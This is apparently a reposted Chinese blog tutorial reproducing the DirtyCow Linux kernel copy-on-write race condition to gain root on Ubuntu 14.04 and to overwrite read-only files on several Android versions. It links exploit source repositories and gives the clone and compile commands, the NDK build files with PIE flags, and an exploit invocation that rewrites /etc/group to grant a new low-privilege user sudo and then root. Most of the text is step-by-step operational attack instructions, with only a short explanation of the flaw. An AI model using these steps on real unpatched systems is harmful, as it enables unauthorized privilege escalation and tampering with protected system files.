DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)
編譯好的EXP下載地址:?https://github.com/Brucetg/DirtyCow-EXP
該漏洞是 Linux 內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導致可以破壞私有只讀內存映射。黑客可以在獲取低權限的的本地用戶后,利用此漏洞獲取 其他只讀內存映射的寫權限,進一步獲取 root 權限。
?
1.Linux
Ubuntu 14.04 :
1)添加用戶:
sudo adduser test輸入兩次密碼后一直回車就行,查看當前用戶的信息,終端輸入 id,回車,可以看到當 前用戶是有 sudo 權限的。
切換到剛剛新建的 test 用戶,同樣輸入 id,查看 test 用戶的信息,發現 test 用戶沒有 sudo 權限,
2)運行DirtyCow的exp進行提權:
git clone https://github.com/dirtycow/dirtycow.github.io cd dirtycow.github.io編譯exp:
gcc dirtyc0w.c -o dirtycow lpthread執行exp:
./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”新打開一個終端,切換到test,查看test用戶信息,可以看到test用戶已經擁有了sudo權限,執行sudo su ,輸入test用戶的密碼后就可以切換到root權限,提權成功。
漏洞成因:
Linux寫時拷貝技術(copy-on-write)
在Linux系統中,fork()會產生一個和父進程完全相同的子進程,但子進程在此后多會exec系統調用,出于效率考慮,Linux系統中引入了“寫時復制”技術,也就是只有進程空間的各段的內容要發生變化時,才會將父進程的內容復制一份給子進程。
?
2.Android:
Linux上編譯好的exp在Android平臺上不能用,使用NDK編譯下載好的exp:
EXP下載地址:
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c1. Android Studio中安裝NDK,把cmake和LLDB也安裝一下:
2. 在?https://github.com/googlesamples/android-ndk?下載源碼,導入Android Studio
如果導入項目時Android studio好像卡住了一樣,有可能是Android Studio在后臺正在下載東西,沿著這個路徑:項目/gradle/wrapper找到這個文件: gradle-wrapper.properties,打開它看看最后一行的gradle版本,若版本和你現有的版本不一致,可以去http://services.gradle.org/distributions/?上下載相應的版本,手動拷貝到:
C:\Users\用戶名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew 目錄下注:這里的 bzyivzo6n839fup2jbap0tjew 是隨機的
將下載好的android-ndk源碼解壓到某個位置,這里我是解壓到了桌面上,所以在我個人的的計算機上android-ndk路徑如下:
C:\Users\wangzt\Desktop\android-ndk我們只需要用下面路徑中的相應文件即可:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\在main目錄下新建文件夾jni,在jni文件夾中新建兩個文件:Android.mk 和Application.mk,內容如下:
Android.mk
LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c LOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true #LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSinclude $(BUILD_EXECUTABLE)Application.mk
APP_ABI := all要編譯的文件:
3. 編譯EXP:
命令行下cd 到如下目錄:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>執行命令:
D:\AndroidSDK\ndk-bundle\ndk-build編譯成功后,在main目錄下的libs文件夾中即可找到編譯好的對應平臺的EXP:
編譯好的exp:
?
Android 4.4
adb連接手機(手機需開啟USB調試):
查看和adb連接的設備:
在/system/bin/目錄下新建文件test_dirty_cow,并且將其權限修改為644
將編譯好的EXP push到測試機的/data/local/tmp/目錄下的dirtycow文件中(這里選用的編譯好的POC是armeabi 平臺的,arm64-v8a經測試不能使用,可以根據自己用的測試機的架構選擇相應的平臺):
修改EXP權限:
當前用戶權限(shell):
切換到root權限,向test_dirty_cow文件中寫入 123456,寫入之后再切換為普通用戶權限(shell),以普通用戶權限執行EXP(下同):
/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify
然后查看test_dirty_cow中的內容,發現文件內容已被修改為modify,復現成功:
Android 6.0.1 (安全補丁程序級別: 2017年2月1日)
測試機系統具體信息:
Android 6.0.1 默認關閉了并隱藏了開發者選項,需要在關于手機里的版本號處連續點擊5次版本號才可以啟用開發者選項,然后在開發者選項中啟用USB調試。
接著我們在 /system/bin 目錄下創建一個普通用戶沒有寫權限的文件,因為默認的 /system 目錄是只讀的,所以需要 remount /system
注意:
mount -o rw,remount /system上述命令中,remount和它前面的逗號之間不要有空格。
接下來的操作步驟和在Android 4.4 系統中差不多:
adb中切換為root權限,將新建的test_dirtycow 文件的權限修改為 644
給EXP可執行權限:
執行EXP 報錯:
PIE這個安全機制從4.1引入,但是Android L之前的系統版本并不會去檢驗可執行文件是否基于PIE編譯出的。因此不會報錯。但是Android L已經開啟驗證,如果調用的可執行文件不是基于PIE方式編譯的,則無法運行。解決辦法非常簡單,在Android.mk中加入如下flag即可。
LOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIE修改后的Android.mk 文件:
LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c LOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true #LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSLOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIEinclude $(BUILD_EXECUTABLE)Application.mk
APP_ABI := all編譯EXP:
Windows命令行下進行編譯,因為我下載的ndk 存放在D:\AndroidSDK\ndk-bundle文件夾中,所以只需要在命令行下輸入如下命令進行編譯:
D:\AndroidSDK\ndk-bundle\ndk-build經測試,不能任意修改文件內容:
因為這個Android 6.0的系統安全補丁是2017年2月份的,估計漏洞已經修補好了。
Android 6.0.1_r68(安全補丁程序級別: 2016年9月6日)
不多說,一樣的操作:
可以看到test_dirtyc0w文件中的內容被修改為 modify,復現成功。
Android 5.1.1
復現過程:
用的EXP是測試Android 6.0.1時編譯好的,拿來直接用即可。
在/system/bin目錄下新建文件 test_dirty,試了幾次沒有成功:
解決辦法:執行
mount -o rw,remount /system并將新建的test_dirty 權限修改為644:
向文件test_dirty中寫入 123456,執行EXP:
/data/local/tmp/dirtycow /system/bin/test_dirty modifyEXP執行一段時間后即可停止,此時再次查看 test_dirty 文件中的內容,發現文件內容已被更改為 modify,復現成功:
總結
以上是生活随笔為你收集整理的DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C# task和timer实现定时操作
- 下一篇: linux 系统调用分析